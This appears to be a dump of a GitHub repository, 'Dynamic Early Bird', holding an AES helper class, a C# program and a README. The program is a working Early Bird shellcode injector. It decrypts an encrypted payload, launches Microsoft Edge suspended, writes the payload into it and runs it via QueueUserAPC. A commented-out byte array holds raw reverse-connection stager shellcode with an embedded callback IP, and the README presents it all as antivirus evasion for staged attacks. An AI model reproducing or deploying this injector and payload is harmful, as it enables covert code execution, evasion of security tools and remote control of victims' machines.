--------------------------------------------------------------------------------
1 | using System;
2 | using System.Security.Cryptography;
3 | using System.Text;
4 | using System.IO;
5 |
6 | namespace DynamicInvoke
7 | {
8 | // https://stackoverflow.com/questions/53653510/c-sharp-aes-encryption-byte-array
9 | public static class Crypto
10 | {
11 |
12 | public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)
13 | {
14 | using (var aes = Aes.Create())
15 | {
16 | aes.KeySize = 128;
17 | aes.BlockSize = 128;
18 | aes.Padding = PaddingMode.PKCS7;
19 |
20 | aes.Key = key;
21 | aes.IV = iv;
22 |
23 | using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
24 | {
25 | return PerformCryptography(data, encryptor);
26 | }
27 | }
28 | }
29 |
30 | public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
31 | {
32 | using (var aes = Aes.Create())
33 | {
34 | aes.KeySize = 128;
35 | aes.BlockSize = 128;
36 | aes.Padding = PaddingMode.PKCS7;
37 |
38 | aes.Key = key;
39 | aes.IV = iv;
40 |
41 | using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
42 | {
43 | return PerformCryptography(data, decryptor);
44 | }
45 | }
46 | }
47 |
48 | private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
49 | {
50 | using (var ms = new MemoryStream())
51 | using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
52 | {
53 | cryptoStream.Write(data, 0, data.Length);
54 | cryptoStream.FlushFinalBlock();
55 |
56 | return ms.ToArray();
57 | }
58 | }
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Runtime.InteropServices;
4 | using System.Security.Cryptography;
5 |
6 | namespace DynamicInvoke
7 | {
8 | public static class Program
9 | {
10 | // spawn MSEdge
11 | public static string ProcessToSpawn = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe";
12 | public static string ProcessArgs = @"--profile-directory=Default";
13 | public static string startDir = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application";
14 |
15 | public enum Protection
16 | {
17 | PAGE_NOACCESS = 0x01,
18 | PAGE_READONLY = 0x02,
19 | PAGE_READWRITE = 0x04,
20 | PAGE_WRITECOPY = 0x08,
21 | PAGE_EXECUTE = 0x10,
22 | PAGE_EXECUTE_READ = 0x20,
23 | PAGE_EXECUTE_READWRITE = 0x40,
24 | PAGE_EXECUTE_WRITECOPY = 0x80,
25 | PAGE_GUARD = 0x100,
26 | PAGE_NOCACHE = 0x200,
27 | PAGE_WRITECOMBINE = 0x400
28 | }
29 |
30 | static bool ByteArrayCompare(byte[] a1, byte[] a2)
31 | {
32 | if (a1.Length != a2.Length)
33 | return false;
34 |
35 | for (int i = 0; i < a1.Length; i++)
36 | if (a1[i] != a2[i])
37 | return false;
38 |
39 | return true;
40 | }
41 |
42 | public static void Main(string[] args)
43 | {
44 | string shellcode = "N3yNZmtoK8uLHVZPs4zQgJ7CjFogrJvDxoXxZE4HmhPH0gXUTgMHuRJkUEoaEzryDmYApP4yTmxSDpNJt7bto0MgW6b99EOO9ZJa93CBB6XrIEg4H77/6oM2zJizdCAB0kPOvi+4iKyTevFK66SAb5v+0DUGKqF7xzLyuAypq+OYP9Yz6/ZRdvytcNYNtaAl6sn8a1huM4s/95aGJX+JXxr8u1MrBjxtaAB6PfuOlrGn5Z6WhrBl2ZbL9FZIkkUfS0k1EqFgun+jEE+YgcJwI9+DtSubcY0B9CJyENvTOMBTapi+E582eNTemj0eNQSO6GqnTi6hswwENqG+YO3YTImT9T9qOzcbJH+d2B2ECi9kcltXoLBPcUDjQNTfQLEnxA7gTLjBJgy4ck5//LPy+GxzZ0cZ/m5c7N/LyZ/Xicyhm5A+g+Q+hNUMJYwzp6hC8UGOFNbhRNbFlpqm8unUVJtbYxR9JVfizZ+ro0nmzwK+h1iKMSrTNHMgoDuOIoOlozsnSCr1beHTHGDxxlFySJI+0TeTM6y0gFkQSj0Ip1PcYL/Vv2H9bO7Vw3YEp11JAL6nr2Rbs4NdRu+2eHZ0jllUJ+xyQJetQ1vR+aNjQL4fCpJ2lYXsPSGs9od9XcrE9Clq4pSVa9Nnds46/yUeS5ofPpdQzjIVNAjxKZJQuYRdZPZATCgrG7YcQg2iMEydE/jcbIK6uA1UWLR0Z/32dzDtYVSghKAgQAuwdjtn5eJUo//KrV2zSHHHuayWoCIaxa9FwyS3NnfXE+kagL9G7/PdyMOMbvCIt2YSfTRM7DVewt8Qll4CDY64fk7TClLeASi6I3c+BhElMadZDxDq24uC0bNMmGhHX1j/OsPMBlw53DhUWh6Q5Gnp8kG5RU8CQ9R6QqX8IxPgBxXVRDwDC7tTYK2e2u66ZPVGPF45rgnUBbmQZsM1icnXAKYLW7SZ6LpejVF4F3OKNO8ORg9IHP4k0hHUAq0tOe3KvtGowNLsrOX/Zz1KDRXJ4WyHzk7ONtmJ3fzlf9jin6VJLpeuuOoh4Pzw4ZLXlWTlAaBRQ0t0BlNnVNS8ZFNcfhAo1AXJmQOP7VfVFBfg4SikhQvUMFY+gwWlWiJSlHO0dZgbDKizlD3ceMqv6C9f7uKzlJC5IuRpSTppSzoLpkPywIv2GTcn2UBJ7OqPR+YFcdyG7B1FvOysyst5vVPFhsnnSJ0y4nK6onTSnw72KOADDJWNQQ==";
45 | string shellkey = "XxjpkQJ5lK91czeMOo248FKuegl4rrQc";
46 |
47 | byte[] tempKey = Encoding.ASCII.GetBytes(shellkey);
48 | tempKey = SHA256.Create().ComputeHash(tempKey);
49 |
50 | byte[] tempIV = new byte[16];
51 | Buffer.BlockCopy(tempKey, 0, tempIV, 0, 16);
52 |
53 | // to encrypt shellcode, use:
54 | //byte[] raw_beacon = new byte[926] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0x93, 0x00, 0x00, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xbb, 0x01, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x79, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x32, 0xc0, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0xba, 0x1f, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x68, 0x80, 0x33, 0x00, 0x00, 0x49, 0x89, 0xe0, 0x41, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x41, 0xba, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xb3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0x82, 0xff, 0xff, 0xff, 0x2f, 0x36, 0x39, 0x75, 0x79, 0x00, 0x96, 0xcf, 0x96, 0x39, 0xb3, 0x80, 0x0f, 0xb9, 0x08, 0x29, 0x69, 0x56, 0x74, 0x8f, 0x5b, 0xc5, 0x94, 0xc2, 0xa0, 0x4a, 0x77, 0xb0, 0x8a, 0x95, 0xc7, 0x27, 0xfe, 0xdb, 0x83, 0xd1, 0xfc, 0x11, 0x53, 0xb9, 0xef, 0x63, 0xa6, 0xd2, 0xf7, 0xdb, 0x84, 0xa3, 0x41, 0x4d, 0xb2, 0x7c, 0x09, 0x1e, 0x5b, 0x9e, 0xc5, 0x16, 0x1d, 0x89, 0x11, 0xbc, 0x86, 0xf7, 0x60, 0xf5, 0x9d, 0x4a, 0xdd, 0x7b, 0xa3, 0x1a, 0xee, 0x3a, 0x9c, 0x29, 0xbb, 0x89, 0xe5, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x34, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x37, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x30, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x34, 0x2e, 0x30, 0x29, 0x0d, 0x0a, 0x00, 0xda, 0xe8, 0xfa, 0xef, 0x6c, 0x8a, 0x0b, 0x49, 0x18, 0xac, 0x2f, 0x40, 0xab, 0x1f, 0xd5, 0x5e, 0x6a, 0x41, 0x7d, 0x4c, 0x8e, 0xb0, 0xf5, 0xe0, 0xa0, 0x71, 0xf0, 0x38, 0xcb, 0x6b, 0x3b, 0x7b, 0x2c, 0x2f, 0x81, 0x02, 0x3f, 0x8c, 0xf5, 0xb6, 0xe7, 0xdf, 0x6c, 0x1f, 0xdb, 0x9f, 0xc7, 0x7d, 0xf0, 0x7b, 0x2b, 0x71, 0x51, 0x95, 0x36, 0x7b, 0xf0, 0xcb, 0x10, 0x20, 0x74, 0x09, 0x1c, 0x0a, 0xaa, 0x13, 0x56, 0x1e, 0x73, 0xeb, 0xe9, 0x55, 0x0f, 0x76, 0xa5, 0x65, 0x8f, 0x30, 0x59, 0x0e, 0xee, 0xf2, 0x02, 0x71, 0x14, 0x43, 0x31, 0xbc, 0xdf, 0x37, 0x3c, 0x2d, 0x8f, 0x5e, 0x58, 0x7a, 0x61, 0xf1, 0x22, 0xe3, 0xc7, 0x0a, 0x22, 0xe6, 0xb8, 0xaf, 0x1e, 0x15, 0xb0, 0x0a, 0x23, 0xe0, 0x79, 0x80, 0xd2, 0x71, 0xcb, 0xdc, 0x58, 0x5b, 0x3b, 0x0a, 0x0c, 0xd4, 0x02, 0x1d, 0x22, 0x74, 0xe5, 0x2d, 0x0f, 0x1c, 0xcc, 0x75, 0xcf, 0xfc, 0x30, 0x53, 0xbc, 0xeb, 0xb0, 0x76, 0x5c, 0xfb, 0xbb, 0x3b, 0x9f, 0x28, 0x49, 0xc6, 0x33, 0xfe, 0x8e, 0x91, 0x13, 0x49, 0xfa, 0x44, 0x64, 0x86, 0xf1, 0x4a, 0x2a, 0x7f, 0x78, 0xbe, 0x1c, 0x43, 0xa5, 0xed, 0xdd, 0xab, 0x51, 0x6c, 0x30, 0x1e, 0xa1, 0x44, 0xc6, 0x39, 0x4a, 0x33, 0xad, 0xd1, 0x82, 0xe2, 0x3c, 0x7a, 0x47, 0xdf, 0xa3, 0x97, 0xb9, 0xaf, 0xdc, 0xef, 0xb9, 0x14, 0xce, 0x30, 0xc4, 0xfa, 0x4c, 0xa2, 0x8c, 0x45, 0xc7, 0x71, 0xf0, 0x5a, 0x5a, 0x9c, 0x2b, 0x31, 0x24, 0x89, 0x3f, 0x42, 0x72, 0x73, 0x5d, 0x15, 0x40, 0xa2, 0xd2, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x7f, 0xfd, 0xff, 0xff, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x2e, 0x37, 0x39, 0x00, 0x3a, 0xde, 0x68, 0xb1 };
55 | //string shellcode = Convert.ToBase64String(Crypto.Encrypt(buf2, tempKey, tempIV));
56 | //return;
57 |
58 | byte[] buf = Crypto.Decrypt(Convert.FromBase64String(shellcode), tempKey, tempIV);
59 |
60 | IntPtr pointer;
61 |
62 | // create the delegate references
63 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "CreateProcessA");
64 | DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess;
65 |
66 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx");
67 | DELEGATES.VirtualAllocEx VirtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualAllocEx)) as DELEGATES.VirtualAllocEx;
68 |
69 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
70 | DELEGATES.WriteProcessMemory WriteProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory;
71 |
72 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "VirtualProtectEx");
73 | DELEGATES.VirtualProtectEx VirtualProtectEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.VirtualProtectEx)) as DELEGATES.VirtualProtectEx;
74 |
75 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "QueueUserAPC");
76 | DELEGATES.QueueUserAPC QueueUserAPC = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.QueueUserAPC)) as DELEGATES.QueueUserAPC;
77 |
78 | pointer = Invoke.GetLibraryAddress("kernel32.dll", "ResumeThread");
79 | DELEGATES.ResumeThread ResumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread;
80 |
81 | // dynamically invoke the Win32 APIs
82 | #if DEBUG
83 | Console.WriteLine("[*] (DInvoke) CreateProcess");
84 | #endif
85 | STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO();
86 | STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION();
87 | STRUCTS.SECURITY_ATTRIBUTES lpa = new STRUCTS.SECURITY_ATTRIBUTES();
88 | STRUCTS.SECURITY_ATTRIBUTES lta = new STRUCTS.SECURITY_ATTRIBUTES();
89 |
90 | bool result = CreateProcess(ProcessToSpawn, ProcessArgs, ref lpa, ref lta, false, STRUCTS.ProcessCreationFlags.CREATE_NEW_CONSOLE | STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, startDir, ref si, out pi);
91 |
92 | #if DEBUG
93 | Console.WriteLine("[*] Process ID: {0}", pi.dwProcessId);
94 | Console.WriteLine("[*] Thread ID: {0}", pi.dwThreadId);
95 | Console.WriteLine("[*] (DInvoke) VirtualAllocEx");
96 | #endif
97 | IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)buf.Length, 0x1000, Protection.PAGE_READWRITE);
98 | #if DEBUG
99 | Console.WriteLine("[*] Address: 0x{0}", addr.ToString("X"));
100 | Console.WriteLine("[*] Protection: PAGE_READWRITE");
101 | Console.WriteLine("[*] (DInvoke) WriteProcessMemory");
102 | #endif
103 |
104 |
105 | WriteProcessMemory(pi.hProcess, addr, buf, buf.Length, out IntPtr bytesWritten);
106 |
107 | #if DEBUG
108 | Console.WriteLine("[*] Written to Address: 0x{0}", addr.ToString("X"));
109 |
110 | Console.WriteLine("[*] (DInvoke) VirtualProtectEx");
111 | #endif
112 | VirtualProtectEx(pi.hProcess, addr, buf.Length, Protection.PAGE_EXECUTE_READ, out Protection p);
113 | #if DEBUG
114 | Console.WriteLine("[*] Protection: PAGE_EXECUTE_READ");
115 | Console.WriteLine("[*] (DInvoke) QueueUserAPC");
116 | #endif
117 | QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
118 |
119 | #if DEBUG
120 | Console.WriteLine("[*] (DInvoke) ResumeThread: 0x{0}", pi.hThread.ToString("X"));
121 | #endif
122 | ResumeThread(pi.hThread);
123 | #if DEBUG
124 | Console.WriteLine("[*] We should have shellcode execution...");
125 | Console.ReadKey();
126 | #endif
127 | }
128 | }
129 | }
130 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # Dynamic Early Bird
4 | An example of a Dynamic Invoke shellcode injection technique using C#.
5 |
6 | If you do use any of the code in these repositories **keep it legal!**
7 |
8 | ## Introduction
9 |
10 | I have been researching different techniques on injecting shellcode into memory as part of a staged attack. It looked a bit like this:
11 |
12 | **PowerShell cradle -> Disable PowerShell Logs -> AMSI Bypass -> Load .Net Harness -> Inject Stage 1 Shellcode**
13 |
14 | I had generally been using P/Invoke, and occassionally Syscalls, but I wanted to try out Dynamic Invoke with obfuscation as part of my Anti-Malware evasion strategies.
15 |
16 | ### D/Invoke
17 |
18 | D/Invoke is a technique used in offensive security, particularly within the context of the Windows platform. D/Invoke (Dynamic Invoke) is a library that allows us to dynamically invoke native Windows API functions directly from memory, avoiding the need for importing functions from DLLs at compile time.
19 |
20 | I first read about D/Invoke On [The Wovers Blog](https://thewover.github.io/Dynamic-Invoke/). The code for the [DInvoke.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/DInvoke.cs) file was taken from [Red Team Cafe](https://www.redteam.cafe/red-team/shellcode-injection/process-hollowing-dinvoke). I am not sure of the origins of this code, if I find it I will update the reference.
21 |
22 | ### Earlybird
23 |
24 | The Early Bird shellcode injection technique involves injecting malicious shellcode into a process's memory space before the process properly initialises or executes. This method allows the injected code to run early in the process's execution.
25 |
26 | It aims to evade detection and increase the chances of successful exploitation by executing malicious actions at an early stage of process execution.
27 |
28 | This exampe shows how we can use D/Invoke to start a new process in a suspended state, inject our shellcode and queue a User APC.
29 |
30 | A User APC (Asynchronous Procedure Call) refers to a mechanism in Windows operating systems where a user-mode application can schedule a user-mode function or procedure to execute asynchronously within a specific thread context.
31 |
32 | When the target thread enters an alertable state (when we resume the thread) it executes the User APC. We queue our User APC using the `QueueUserAPC` Win32 API:
33 |
34 | ### The Code
35 |
36 | There are three classes implementing this example code:
37 |
38 | [Program.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/Program.cs): This is the main program that calls the function pointers/delegates.
39 |
40 | [DInvoke.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/DInvoke.cs): This is where the magic happens, and where we need to declare our delegates.
41 |
42 | [Encrypt.cs](https://github.com/plackyhacker/DynamicEarlyBird/blob/main/Encrypt.cs): ~~This is just a very basic XOR implementation, any encryption algorythm could be used~~. I changed the encryption to use AES, it seems that Defender gets very suspicious with XOR'd strings (I know I would)!
43 |
44 | **Enjoy!**
45 |
--------------------------------------------------------------------------------